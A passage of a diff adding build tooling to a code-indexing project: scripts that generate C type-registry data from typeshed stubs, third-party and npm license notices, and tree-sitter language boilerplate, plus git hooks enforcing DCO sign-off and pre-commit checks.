print("step 5: writing output files...")
|
||||
dim = vectors.shape[1]
|
||||
|
||||
write_bin(str(out_dir / "code_vectors.bin"), vectors, dim)
|
||||
write_tokens_txt(str(out_dir / "code_tokens.txt"), filtered_tokens)
|
||||
write_tokens_h(str(out_dir / "code_tokens.h"), filtered_tokens)
|
||||
|
||||
incbin_path = f"vendored/nomic/code_vectors.bin"
|
||||
write_vectors_h(str(out_dir / "code_vectors.h"), len(filtered_tokens), dim, incbin_path)
|
||||
write_blob_s(str(out_dir / "code_vectors_blob.S"), incbin_path)
|
||||
print()
|
||||
|
||||
# Cleanup checkpoint
|
||||
if os.path.exists(checkpoint_path):
|
||||
os.remove(checkpoint_path)
|
||||
print(f" removed checkpoint: {checkpoint_path}")
|
||||
|
||||
# ── Summary ──
|
||||
bin_size = os.path.getsize(str(out_dir / "code_vectors.bin"))
|
||||
print()
|
||||
print("=" * 60)
|
||||
print(f" model: {MODEL_NAME}")
|
||||
print(f" tokens: {len(filtered_tokens)}")
|
||||
print(f" dimensions: {dim}")
|
||||
print(f" blob size: {bin_size / (1024*1024):.1f} MB")
|
||||
print(f" sim-attn: {'yes' if not args.skip_attention else 'no'}")
|
||||
print(f" output: {out_dir}/")
|
||||
print("=" * 60)
|
||||
print()
|
||||
print("next steps:")
|
||||
print(f" 1. update Makefile.cbm: change UNIXCODER_BLOB_SRC path to vendored/nomic/")
|
||||
print(f" 2. update #include in semantic.c: \"vendored/nomic/code_vectors.h\"")
|
||||
print(f" 3. arch -arm64 make -j12 -f Makefile.cbm clean-c && arch -arm64 make -j12 -f Makefile.cbm")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,432 @@
|
||||
#!/usr/bin/env python3.9
|
||||
"""
|
||||
gen-py-stdlib.py — Generate cbm_python_stdlib_register from typeshed stubs.
|
||||
|
||||
Phase 10 of Python LSP integration. Walks a typeshed/stdlib checkout,
|
||||
parses each .pyi via the standard `ast` module, and emits a single C
|
||||
source file (internal/cbm/lsp/generated/python_stdlib_data.c) that
|
||||
populates a CBMTypeRegistry with classes + their method names and
|
||||
free functions per module.
|
||||
|
||||
This is a v1 implementation — overload stacks collapse to the first
|
||||
signature, ParamSpec/TypeVarTuple/Concatenate are skipped, version
|
||||
guards `if sys.version_info >= (X, Y):` are flattened (we take the
|
||||
union of all branches). Per-symbol min/max version guards from the
|
||||
plan are recorded as comments only in v1; py_lsp consumers should
|
||||
treat the generator output as the 3.12 baseline.
|
||||
|
||||
Usage:
|
||||
python3.9 scripts/gen-py-stdlib.py <typeshed-stdlib-path> <output.c>
|
||||
|
||||
Defaults to /tmp/python-lsp-references/typeshed/stdlib and
|
||||
internal/cbm/lsp/generated/python_stdlib_data.c when run without args.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import ast
|
||||
import dataclasses
|
||||
import os
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from typing import Iterable
|
||||
|
||||
# v1 module allowlist — the plan's "top usage" set. Skip large / low-value
|
||||
# modules (tkinter, turtle, curses, xml.*, email.*) to keep generated
|
||||
# output manageable.
|
||||
ALLOWED_MODULES = {
|
||||
"builtins",
|
||||
"typing",
|
||||
"typing_extensions",
|
||||
"os",
|
||||
"sys",
|
||||
"collections",
|
||||
"functools",
|
||||
"itertools",
|
||||
"pathlib",
|
||||
"json",
|
||||
"re",
|
||||
"dataclasses",
|
||||
"enum",
|
||||
"datetime",
|
||||
"subprocess",
|
||||
"logging",
|
||||
"asyncio",
|
||||
"unittest",
|
||||
"argparse",
|
||||
"contextlib",
|
||||
"io",
|
||||
"tempfile",
|
||||
"shutil",
|
||||
"inspect",
|
||||
"abc",
|
||||
"warnings",
|
||||
"weakref",
|
||||
"copy",
|
||||
"pickle",
|
||||
"time",
|
||||
"math",
|
||||
"string",
|
||||
"socket",
|
||||
"threading",
|
||||
"multiprocessing",
|
||||
"queue",
|
||||
"urllib",
|
||||
"http",
|
||||
"concurrent",
|
||||
}
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class StubMethod:
|
||||
name: str
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class StubClass:
|
||||
qualified_name: str
|
||||
short_name: str
|
||||
methods: list[str]
|
||||
bases: list[str]
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class StubFunction:
|
||||
qualified_name: str
|
||||
short_name: str
|
||||
module_qn: str
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class ModuleStubs:
|
||||
module_qn: str
|
||||
classes: list[StubClass]
|
||||
functions: list[StubFunction]
|
||||
|
||||
|
||||
def is_method(node: ast.AST) -> bool:
|
||||
return isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef))
|
||||
|
||||
|
||||
def class_methods(class_node: ast.ClassDef) -> list[str]:
|
||||
seen: set[str] = set()
|
||||
out: list[str] = []
|
||||
for child in class_node.body:
|
||||
if is_method(child):
|
||||
name = child.name # type: ignore[attr-defined]
|
||||
if not name.startswith("_") or name in {"__init__", "__call__", "__enter__", "__exit__"}:
|
||||
if name not in seen:
|
||||
seen.add(name)
|
||||
out.append(name)
|
||||
elif isinstance(child, ast.If):
|
||||
# Flatten version guards: walk both branches.
|
||||
for sub in child.body + child.orelse:
|
||||
if is_method(sub):
|
||||
name = sub.name # type: ignore[attr-defined]
|
||||
if name not in seen:
|
||||
seen.add(name)
|
||||
out.append(name)
|
||||
return out
|
||||
|
||||
|
||||
def base_qns(class_node: ast.ClassDef, module_qn: str) -> list[str]:
|
||||
out: list[str] = []
|
||||
for base in class_node.bases:
|
||||
if isinstance(base, ast.Name):
|
||||
# Bare name — qualify within the same module by default.
|
||||
out.append(f"{module_qn}.{base.id}")
|
||||
elif isinstance(base, ast.Attribute):
|
||||
# mod.SubClass
|
||||
try:
|
||||
text = ast.unparse(base) # type: ignore[attr-defined]
|
||||
except Exception:
|
||||
continue
|
||||
out.append(text)
|
||||
return out
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class StarReExport:
|
||||
target_module: str # e.g. "posixpath" / "ntpath"
|
||||
|
||||
|
||||
def parse_module(path: Path, module_qn: str) -> tuple[ModuleStubs, list[StarReExport]]:
|
||||
src = path.read_text(encoding="utf-8", errors="replace")
|
||||
try:
|
||||
tree = ast.parse(src)
|
||||
except SyntaxError:
|
||||
return ModuleStubs(module_qn=module_qn, classes=[], functions=[]), []
|
||||
|
||||
classes: list[StubClass] = []
|
||||
functions: list[StubFunction] = []
|
||||
star_imports: list[StarReExport] = []
|
||||
seen_funcs: set[str] = set()
|
||||
|
||||
def walk(body: list[ast.stmt], current_module_qn: str) -> None:
|
||||
for node in body:
|
||||
if isinstance(node, ast.ClassDef):
|
||||
qn = f"{current_module_qn}.{node.name}"
|
||||
classes.append(StubClass(
|
||||
qualified_name=qn,
|
||||
short_name=node.name,
|
||||
methods=class_methods(node),
|
||||
bases=base_qns(node, current_module_qn),
|
||||
))
|
||||
elif is_method(node):
|
||||
name = node.name # type: ignore[attr-defined]
|
||||
if name.startswith("_") and name not in {"__init__"}:
|
||||
continue
|
||||
if name in seen_funcs:
|
||||
continue
|
||||
seen_funcs.add(name)
|
||||
functions.append(StubFunction(
|
||||
qualified_name=f"{current_module_qn}.{name}",
|
||||
short_name=name,
|
||||
module_qn=current_module_qn,
|
||||
))
|
||||
elif isinstance(node, ast.ImportFrom):
|
||||
# Track `from X import *` for re-export resolution.
|
||||
if node.module and any(alias.name == "*" for alias in node.names):
|
||||
star_imports.append(StarReExport(target_module=node.module))
|
||||
elif isinstance(node, ast.If):
|
||||
# Flatten version guards.
|
||||
walk(node.body, current_module_qn)
|
||||
walk(node.orelse, current_module_qn)
|
||||
|
||||
walk(tree.body, module_qn)
|
||||
return ModuleStubs(module_qn=module_qn, classes=classes, functions=functions), star_imports
|
||||
|
||||
|
||||
def collect_all_stubs(stdlib_root: Path) -> tuple[dict[str, ModuleStubs], dict[str, list[StarReExport]]]:
|
||||
"""Gather every stub in the allowlist plus any re-export targets they
|
||||
pull in transitively (e.g. os.path -> posixpath -> genericpath).
|
||||
Returns (modules, star_imports_per_module). """
|
||||
modules: dict[str, ModuleStubs] = {}
|
||||
star_imports: dict[str, list[StarReExport]] = {}
|
||||
|
||||
# First pass: walk allowlist
|
||||
queue: list[tuple[Path, str]] = []
|
||||
for path in sorted(stdlib_root.rglob("*.pyi")):
|
||||
rel = path.relative_to(stdlib_root)
|
||||
parts = list(rel.parts)
|
||||
if parts[-1] == "__init__.pyi":
|
||||
parts.pop()
|
||||
else:
|
||||
parts[-1] = parts[-1][:-len(".pyi")]
|
||||
if not parts:
|
||||
continue
|
||||
top = parts[0]
|
||||
if top.startswith("_"):
|
||||
continue
|
||||
if top not in ALLOWED_MODULES:
|
||||
continue
|
||||
module_qn = ".".join(parts)
|
||||
queue.append((path, module_qn))
|
||||
|
||||
seen_targets: set[str] = set()
|
||||
while queue:
|
||||
path, mod_qn = queue.pop()
|
||||
if mod_qn in modules:
|
||||
continue
|
||||
ms, stars = parse_module(path, mod_qn)
|
||||
modules[mod_qn] = ms
|
||||
star_imports[mod_qn] = stars
|
||||
# Enqueue re-export targets (e.g. posixpath, ntpath, genericpath)
|
||||
for star in stars:
|
||||
tgt = star.target_module
|
||||
if tgt in seen_targets:
|
||||
continue
|
||||
seen_targets.add(tgt)
|
||||
tgt_path = stdlib_root / (tgt.replace(".", "/") + ".pyi")
|
||||
if tgt_path.is_file():
|
||||
queue.append((tgt_path, tgt))
|
||||
else:
|
||||
tgt_init = stdlib_root / tgt.replace(".", "/") / "__init__.pyi"
|
||||
if tgt_init.is_file():
|
||||
queue.append((tgt_init, tgt))
|
||||
|
||||
return modules, star_imports
|
||||
|
||||
|
||||
def resolve_reexports(modules: dict[str, ModuleStubs],
|
||||
star_imports: dict[str, list[StarReExport]]) -> None:
|
||||
"""For each module with `from X import *`, copy X's classes/functions
|
||||
into the current module under that module's QN. Iterates to a fixed
|
||||
point to handle re-export chains. """
|
||||
changed = True
|
||||
iter_count = 0
|
||||
while changed and iter_count < 8:
|
||||
changed = False
|
||||
iter_count += 1
|
||||
for mod_qn, stars in star_imports.items():
|
||||
ms = modules[mod_qn]
|
||||
for star in stars:
|
||||
target = modules.get(star.target_module)
|
||||
if not target:
|
||||
continue
|
||||
# Copy target's classes/functions under mod_qn
|
||||
existing_class_names = {c.short_name for c in ms.classes}
|
||||
existing_func_names = {f.short_name for f in ms.functions}
|
||||
for c in target.classes:
|
||||
if c.short_name in existing_class_names:
|
||||
continue
|
||||
ms.classes.append(StubClass(
|
||||
qualified_name=f"{mod_qn}.{c.short_name}",
|
||||
short_name=c.short_name,
|
||||
methods=list(c.methods),
|
||||
bases=list(c.bases),
|
||||
))
|
||||
existing_class_names.add(c.short_name)
|
||||
changed = True
|
||||
for f in target.functions:
|
||||
if f.short_name in existing_func_names:
|
||||
continue
|
||||
ms.functions.append(StubFunction(
|
||||
qualified_name=f"{mod_qn}.{f.short_name}",
|
||||
short_name=f.short_name,
|
||||
module_qn=mod_qn,
|
||||
))
|
||||
existing_func_names.add(f.short_name)
|
||||
changed = True
|
||||
|
||||
|
||||
def iter_module_stubs(stdlib_root: Path) -> Iterable[ModuleStubs]:
|
||||
modules, star_imports = collect_all_stubs(stdlib_root)
|
||||
resolve_reexports(modules, star_imports)
|
||||
for mod_qn in sorted(modules.keys()):
|
||||
yield modules[mod_qn]
|
||||
|
||||
|
||||
C_HEADER = """\
|
||||
// AUTO-GENERATED by scripts/gen-py-stdlib.py — DO NOT EDIT
|
||||
// Python stdlib type information for LSP type resolver.
|
||||
//
|
||||
// Source: typeshed commit a7912d521e16ff63caf7a8b64b9072542be36777
|
||||
// Module allowlist: see ALLOWED_MODULES in scripts/gen-py-stdlib.py
|
||||
//
|
||||
// v1 simplifications (per PYTHON_LSP_PLAN.md Phase 10):
|
||||
// - overload stacks collapse to first signature
|
||||
// - ParamSpec / TypeVarTuple / Concatenate skipped
|
||||
// - version guards flattened (union of all branches)
|
||||
// - per-symbol min/max version guards not yet emitted
|
||||
|
||||
#include "../type_rep.h"
|
||||
#include "../type_registry.h"
|
||||
#include <string.h>
|
||||
|
||||
#define CBM_PYTHON_STDLIB_GENERATED 1
|
||||
|
||||
void cbm_python_stdlib_register(CBMTypeRegistry* reg, CBMArena* arena) {
|
||||
if (!reg || !arena) return;
|
||||
|
||||
CBMRegisteredType rt;
|
||||
CBMRegisteredFunc rf;
|
||||
"""
|
||||
|
||||
C_FOOTER = """\
|
||||
}
|
||||
"""
|
||||
|
||||
|
||||
def c_escape(s: str) -> str:
|
||||
return s.replace("\\", "\\\\").replace("\"", "\\\"")
|
||||
|
||||
|
||||
def emit(stubs: list[ModuleStubs], output_path: Path) -> None:
|
||||
method_table_id = 0
|
||||
out_lines: list[str] = []
|
||||
|
||||
for ms in stubs:
|
||||
if not ms.classes and not ms.functions:
|
||||
continue
|
||||
out_lines.append(f"\n /* ===== module: {ms.module_qn} ===== */\n")
|
||||
|
||||
for cls in ms.classes:
|
||||
method_array_name = None
|
||||
if cls.methods:
|
||||
method_table_id += 1
|
||||
method_array_name = f"py_methods_{method_table_id}"
|
||||
methods_c = ", ".join(f"\"{c_escape(m)}\"" for m in cls.methods)
|
||||
out_lines.append(
|
||||
f" static const char* {method_array_name}[] = {{ {methods_c}, NULL }};\n"
|
||||
)
|
||||
out_lines.append(" memset(&rt, 0, sizeof(rt));\n")
|
||||
out_lines.append(
|
||||
f" rt.qualified_name = \"{c_escape(cls.qualified_name)}\";\n"
|
||||
)
|
||||
out_lines.append(
|
||||
f" rt.short_name = \"{c_escape(cls.short_name)}\";\n"
|
||||
)
|
||||
if method_array_name:
|
||||
out_lines.append(f" rt.method_names = {method_array_name};\n")
|
||||
if cls.bases:
|
||||
method_table_id += 1
|
||||
bases_array = f"py_bases_{method_table_id}"
|
||||
bases_c = ", ".join(f"\"{c_escape(b)}\"" for b in cls.bases)
|
||||
out_lines.append(
|
||||
f" static const char* {bases_array}[] = {{ {bases_c}, NULL }};\n"
|
||||
)
|
||||
out_lines.append(f" rt.embedded_types = {bases_array};\n")
|
||||
out_lines.append(" cbm_registry_add_type(reg, rt);\n")
|
||||
|
||||
# Also emit a registered method per class.method so registry
|
||||
# lookup_method(class_qn, name) works.
|
||||
for m in cls.methods:
|
||||
out_lines.append(" memset(&rf, 0, sizeof(rf));\n")
|
||||
out_lines.append(
|
||||
f" rf.qualified_name = \"{c_escape(cls.qualified_name)}.{c_escape(m)}\";\n"
|
||||
)
|
||||
out_lines.append(f" rf.short_name = \"{c_escape(m)}\";\n")
|
||||
out_lines.append(
|
||||
f" rf.receiver_type = \"{c_escape(cls.qualified_name)}\";\n"
|
||||
)
|
||||
out_lines.append(" cbm_registry_add_func(reg, rf);\n")
|
||||
|
||||
for fn in ms.functions:
|
||||
out_lines.append(" memset(&rf, 0, sizeof(rf));\n")
|
||||
out_lines.append(
|
||||
f" rf.qualified_name = \"{c_escape(fn.qualified_name)}\";\n"
|
||||
)
|
||||
out_lines.append(f" rf.short_name = \"{c_escape(fn.short_name)}\";\n")
|
||||
out_lines.append(" cbm_registry_add_func(reg, rf);\n")
|
||||
|
||||
output_path.write_text(C_HEADER + "".join(out_lines) + C_FOOTER, encoding="utf-8")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument(
|
||||
"stdlib_root",
|
||||
nargs="?",
|
||||
default="/tmp/python-lsp-references/typeshed/stdlib",
|
||||
)
|
||||
parser.add_argument(
|
||||
"output",
|
||||
nargs="?",
|
||||
default="internal/cbm/lsp/generated/python_stdlib_data.c",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
root = Path(args.stdlib_root).resolve()
|
||||
if not root.is_dir():
|
||||
print(f"error: {root} is not a directory", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
stubs = list(iter_module_stubs(root))
|
||||
out_path = Path(args.output).resolve()
|
||||
out_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
emit(stubs, out_path)
|
||||
|
||||
n_classes = sum(len(s.classes) for s in stubs)
|
||||
n_methods = sum(sum(len(c.methods) for c in s.classes) for s in stubs)
|
||||
n_funcs = sum(len(s.functions) for s in stubs)
|
||||
print(
|
||||
f"wrote {out_path}: {len(stubs)} modules, "
|
||||
f"{n_classes} classes ({n_methods} methods), {n_funcs} free functions"
|
||||
)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,57 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Generates the third-party notices bundle shipped inside every release
|
||||
# archive: THIRD_PARTY.md + the grammar provenance manifest + the verbatim
|
||||
# license/notice text of every vendored component (both vendored trees).
|
||||
# Deterministic output (sorted file order).
|
||||
#
|
||||
# Usage: scripts/gen-third-party-notices.sh [output-path]
|
||||
# default output: build/THIRD_PARTY_NOTICES.md
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
OUT="${1:-$ROOT/build/THIRD_PARTY_NOTICES.md}"
|
||||
mkdir -p "$(dirname "$OUT")"
|
||||
|
||||
{
|
||||
echo "# Third-Party Notices"
|
||||
echo
|
||||
echo "This file accompanies the codebase-memory-mcp binary distribution."
|
||||
echo "It aggregates THIRD_PARTY.md, the vendored grammar provenance"
|
||||
echo "manifest, and the verbatim license / notice texts of every vendored"
|
||||
echo "component, satisfying binary-redistribution notice requirements"
|
||||
echo "(MIT, BSD, Apache-2.0)."
|
||||
echo
|
||||
echo "---"
|
||||
echo
|
||||
cat "$ROOT/THIRD_PARTY.md"
|
||||
echo
|
||||
echo "---"
|
||||
echo
|
||||
cat "$ROOT/internal/cbm/vendored/grammars/MANIFEST.md"
|
||||
|
||||
find "$ROOT/vendored" "$ROOT/internal/cbm/vendored" -type f \
|
||||
\( -iname 'LICENSE*' -o -iname 'COPYING*' -o -iname 'NOTICE*' -o -iname 'UNLICENSE*' \) \
|
||||
| LC_ALL=C sort | while IFS= read -r f; do
|
||||
rel="${f#"$ROOT"/}"
|
||||
echo
|
||||
echo "==============================================================="
|
||||
echo " $rel"
|
||||
echo "==============================================================="
|
||||
echo
|
||||
cat "$f"
|
||||
done
|
||||
|
||||
# With-ui packaging path: node_modules exists (make frontend ran npm ci),
|
||||
# so append the license texts of the npm packages compiled into the UI
|
||||
# bundle. Standard binaries carry no bundle — the section is skipped.
|
||||
if [ -d "$ROOT/graph-ui/node_modules" ]; then
|
||||
echo
|
||||
echo "---"
|
||||
echo
|
||||
python3 "$ROOT/scripts/gen-ui-licenses.py" "$ROOT/graph-ui"
|
||||
fi
|
||||
} > "$OUT"
|
||||
|
||||
BYTES=$(wc -c < "$OUT" | tr -d ' ')
|
||||
echo "wrote $OUT (${BYTES} bytes)"
|
||||
@@ -0,0 +1,113 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Emit a markdown license appendix for the embedded graph-UI bundle.
|
||||
|
||||
Usage: gen-ui-licenses.py <graph-ui-dir>
|
||||
|
||||
Walks the PRODUCTION dependency tree (npm ls --omit=dev) — the packages
|
||||
whose code is compiled into the UI bundle — and prints, for each unique
|
||||
package, its declared license and the verbatim license file text found in
|
||||
node_modules. Build-time tooling (vite, tailwind, lightningcss, ...) is
|
||||
excluded: its code does not ship in the bundle.
|
||||
|
||||
Called by gen-third-party-notices.sh when node_modules is present (the
|
||||
with-ui packaging path). Output is deterministic (sorted by name@version).
|
||||
"""
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
|
||||
def collect(ui_dir, dep_tree, out, excluded):
|
||||
for name, info in (dep_tree or {}).items():
|
||||
version = info.get("version")
|
||||
if not version:
|
||||
continue # unmet optional peer — not installed, nothing shipped
|
||||
pkg_dir = os.path.join(ui_dir, "node_modules", *name.split("/"))
|
||||
try:
|
||||
with open(os.path.join(pkg_dir, "package.json"), encoding="utf-8") as fh:
|
||||
meta = json.load(fh)
|
||||
except (OSError, ValueError):
|
||||
continue # not physically installed — nothing shipped
|
||||
# Platform-restricted packages (os/cpu fields) are native build
|
||||
# tooling (esbuild/rollup/lightningcss/oxide binaries). They cannot
|
||||
# be part of a browser bundle — exclude them and do not recurse into
|
||||
# their dependency subtrees (wasm runtime shims etc.).
|
||||
if meta.get("os") or meta.get("cpu"):
|
||||
excluded.add((name, version))
|
||||
continue
|
||||
out.add((name, version))
|
||||
collect(ui_dir, info.get("dependencies"), out, excluded)
|
||||
|
||||
|
||||
def license_text(pkg_dir):
|
||||
if not os.path.isdir(pkg_dir):
|
||||
return None
|
||||
for fname in sorted(os.listdir(pkg_dir)):
|
||||
if fname.upper().startswith(("LICENSE", "LICENCE", "COPYING", "NOTICE")):
|
||||
try:
|
||||
with open(os.path.join(pkg_dir, fname), encoding="utf-8", errors="replace") as fh:
|
||||
return fh.read().strip()
|
||||
except OSError:
|
||||
continue
|
||||
return None
|
||||
|
||||
|
||||
def declared_license(pkg_dir):
|
||||
try:
|
||||
with open(os.path.join(pkg_dir, "package.json"), encoding="utf-8") as fh:
|
||||
d = json.load(fh)
|
||||
except (OSError, ValueError):
|
||||
return "UNKNOWN"
|
||||
lic = d.get("license", "UNKNOWN")
|
||||
if isinstance(lic, dict):
|
||||
lic = lic.get("type", "UNKNOWN")
|
||||
return str(lic)
|
||||
|
||||
|
||||
def main():
|
||||
ui_dir = sys.argv[1]
|
||||
# shell=True so the npm shim resolves on every platform (npm.cmd on
|
||||
# Windows is not found by bare-name exec). Constant command, no injection.
|
||||
ls = subprocess.run(
|
||||
"npm ls --omit=dev --all --json",
|
||||
shell=True, cwd=ui_dir, capture_output=True, text=True, check=False,
|
||||
)
|
||||
tree = json.loads(ls.stdout or "{}")
|
||||
pkgs = set()
|
||||
excluded = set()
|
||||
collect(ui_dir, tree.get("dependencies"), pkgs, excluded)
|
||||
|
||||
print("## Embedded Graph UI — bundled npm packages")
|
||||
print()
|
||||
print("The `-ui` binaries embed a compiled frontend bundle. The packages")
|
||||
print("below are its production dependency tree; their license texts are")
|
||||
print("reproduced verbatim from the packages as installed at build time.")
|
||||
print()
|
||||
|
||||
for name, version in sorted(pkgs):
|
||||
pkg_dir = os.path.join(ui_dir, "node_modules", *name.split("/"))
|
||||
lic = declared_license(pkg_dir)
|
||||
text = license_text(pkg_dir)
|
||||
print(f"### {name}@{version} — {lic}")
|
||||
print()
|
||||
if text:
|
||||
print(text)
|
||||
else:
|
||||
print(f"(no license file shipped in the package; declared license: {lic})")
|
||||
print()
|
||||
|
||||
if excluded:
|
||||
print("### Platform-specific build tooling (not part of the bundle)")
|
||||
print()
|
||||
print("Resolved in the dependency tree but excluded above: these are")
|
||||
print("native per-platform build binaries whose code does not ship in")
|
||||
print("the browser bundle.")
|
||||
print()
|
||||
for name, version in sorted(excluded):
|
||||
print(f"- {name}@{version}")
|
||||
print()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,118 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Generate boilerplate code for new tree-sitter language support.
|
||||
|
||||
Reads scripts/new-languages.json and generates:
|
||||
1. Grammar wrapper .c files (written directly)
|
||||
2. Enum entries for cbm.h
|
||||
3. Lang spec entries for lang_specs.c (designated initializer + factory)
|
||||
4. Extension/filename/name entries for language.c
|
||||
"""
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
|
||||
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||
PROJECT_DIR = os.path.dirname(SCRIPT_DIR)
|
||||
MANIFEST = os.path.join(SCRIPT_DIR, "new-languages.json")
|
||||
GRAMMAR_DIR = os.path.join(PROJECT_DIR, "internal", "cbm")
|
||||
|
||||
|
||||
def main():
|
||||
with open(MANIFEST) as f:
|
||||
langs = json.load(f)
|
||||
|
||||
mode = sys.argv[1] if len(sys.argv) > 1 else "all"
|
||||
|
||||
if mode in ("all", "wrappers"):
|
||||
generate_wrappers(langs)
|
||||
if mode in ("all", "enum"):
|
||||
generate_enum(langs)
|
||||
if mode in ("all", "specs"):
|
||||
generate_specs(langs)
|
||||
if mode in ("all", "language"):
|
||||
generate_language_c(langs)
|
||||
|
||||
|
||||
def generate_wrappers(langs):
|
||||
"""Create grammar_<name>.c wrapper files."""
|
||||
print("=== Grammar Wrapper Files ===")
|
||||
created = 0
|
||||
for lang in langs:
|
||||
path = os.path.join(GRAMMAR_DIR, f"grammar_{lang['name']}.c")
|
||||
if os.path.exists(path):
|
||||
continue
|
||||
lines = [
|
||||
f"// Vendored tree-sitter grammar: {lang['name']}",
|
||||
"// Each grammar compiled as separate unit (conflicting static symbols).",
|
||||
f"#include \"vendored/grammars/{lang['name']}/parser.c\"",
|
||||
]
|
||||
if lang["has_scanner"]:
|
||||
lines.append(
|
||||
f"#include \"vendored/grammars/{lang['name']}/scanner.c\""
|
||||
)
|
||||
with open(path, "w") as f:
|
||||
f.write("\n".join(lines) + "\n")
|
||||
created += 1
|
||||
print(f" Created {created} wrapper files")
|
||||
|
||||
|
||||
def generate_enum(langs):
|
||||
"""Print enum entries for cbm.h."""
|
||||
print("\n=== Enum Entries (paste into cbm.h before CBM_LANG_KUSTOMIZE) ===")
|
||||
for lang in langs:
|
||||
print(f" CBM_LANG_{lang['enum']},")
|
||||
|
||||
|
||||
def generate_specs(langs):
|
||||
"""Print lang spec entries for lang_specs.c."""
|
||||
print("\n=== Extern Declarations (paste at top of lang_specs.c) ===")
|
||||
for lang in langs:
|
||||
print(f"extern const TSLanguage *{lang['ts_func']}(void);")
|
||||
|
||||
print("\n=== Module Type Arrays (paste before spec table) ===")
|
||||
for lang in langs:
|
||||
arr = f"{lang['name']}_module_types"
|
||||
print(
|
||||
f'static const char *{arr}[] = {{"{lang["module_root"]}", NULL}};'
|
||||
)
|
||||
|
||||
print("\n=== Spec Table Entries (paste into lang_specs[]) ===")
|
||||
for lang in langs:
|
||||
mod = f"{lang['name']}_module_types"
|
||||
print(f" // CBM_LANG_{lang['enum']}")
|
||||
print(
|
||||
f" [CBM_LANG_{lang['enum']}] = {{CBM_LANG_{lang['enum']}, "
|
||||
f"empty_types, empty_types, empty_types, {mod}, "
|
||||
f"empty_types, empty_types, empty_types, empty_types, "
|
||||
f"empty_types, empty_types, empty_types, NULL, empty_types, "
|
||||
f"NULL, NULL, {lang['ts_func']}}},"
|
||||
)
|
||||
print()
|
||||
|
||||
|
||||
def generate_language_c(langs):
|
||||
"""Print extension table and name entries for language.c."""
|
||||
print("\n=== EXT_TABLE Entries (paste into language.c, sorted by ext) ===")
|
||||
ext_entries = []
|
||||
for lang in langs:
|
||||
for ext in lang["extensions"]:
|
||||
ext_entries.append((ext, lang["enum"], lang["display"]))
|
||||
for ext, enum, display in sorted(ext_entries, key=lambda x: x[0].lower()):
|
||||
print(f' /* {display} */')
|
||||
print(f' {{"{ext}", CBM_LANG_{enum}}},')
|
||||
print()
|
||||
|
||||
print("\n=== FILENAME_TABLE Entries ===")
|
||||
for lang in langs:
|
||||
for fn in lang["filenames"]:
|
||||
print(f' {{"{fn}", CBM_LANG_{lang["enum"]}}},')
|
||||
|
||||
print("\n=== LANG_NAMES Entries ===")
|
||||
for lang in langs:
|
||||
print(
|
||||
f' [CBM_LANG_{lang["enum"]}] = "{lang["display"]}",'
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,18 @@
|
||||
#!/bin/sh
|
||||
# commit-msg hook — STRICT DCO enforcement at commit time.
|
||||
# Every commit must carry a Signed-off-by trailer (git commit -s).
|
||||
# Install with: scripts/install-git-hooks.sh
|
||||
|
||||
if grep -qE '^Signed-off-by: .+ <.+@.+>' "$1"; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo "" >&2
|
||||
echo "COMMIT REJECTED: missing Signed-off-by trailer (Developer Certificate of Origin)." >&2
|
||||
echo "" >&2
|
||||
echo " Sign your commit: git commit -s" >&2
|
||||
echo " Fix the last commit: git commit --amend -s" >&2
|
||||
echo "" >&2
|
||||
echo "The sign-off certifies you have the right to submit this code under the" >&2
|
||||
echo "project's MIT license — see the DCO file and CONTRIBUTING.md." >&2
|
||||
exit 1
|
||||
@@ -0,0 +1,16 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Pre-commit hook: linters + security audit + build + tests.
|
||||
#
|
||||
# Activated automatically via scripts/setup.sh or manually:
|
||||
# git config core.hooksPath scripts/hooks
|
||||
|
||||
echo "pre-commit: running all linters in parallel..."
|
||||
make -j3 -f Makefile.cbm lint
|
||||
|
||||
echo "pre-commit: security audit (source-level)..."
|
||||
scripts/security-audit.sh
|
||||
|
||||
echo "pre-commit: building and running tests..."
|
||||
make -j$(sysctl -n hw.ncpu 2>/dev/null || nproc) -f Makefile.cbm test
|
||||
@@ -0,0 +1,11 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Install the repo's git hooks into .git/hooks (local, per-clone).
|
||||
# Currently: commit-msg (strict DCO sign-off enforcement).
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
HOOKS_DIR="$(git -C "$ROOT" rev-parse --git-path hooks)"
|
||||
|
||||
install -m 755 "$ROOT/scripts/git-hooks/commit-msg" "$HOOKS_DIR/commit-msg"
|
||||
echo "installed: $HOOKS_DIR/commit-msg (DCO sign-off required on every commit)"
|
||||
@@ -0,0 +1,109 @@
|
||||
#!/usr/bin/env python3
|
||||
"""License-gate check for the graph-UI npm production dependency tree.
|
||||
|
||||
Usage: license-gate-check-npm.py <graph-ui-dir> <license-policy.json>
|
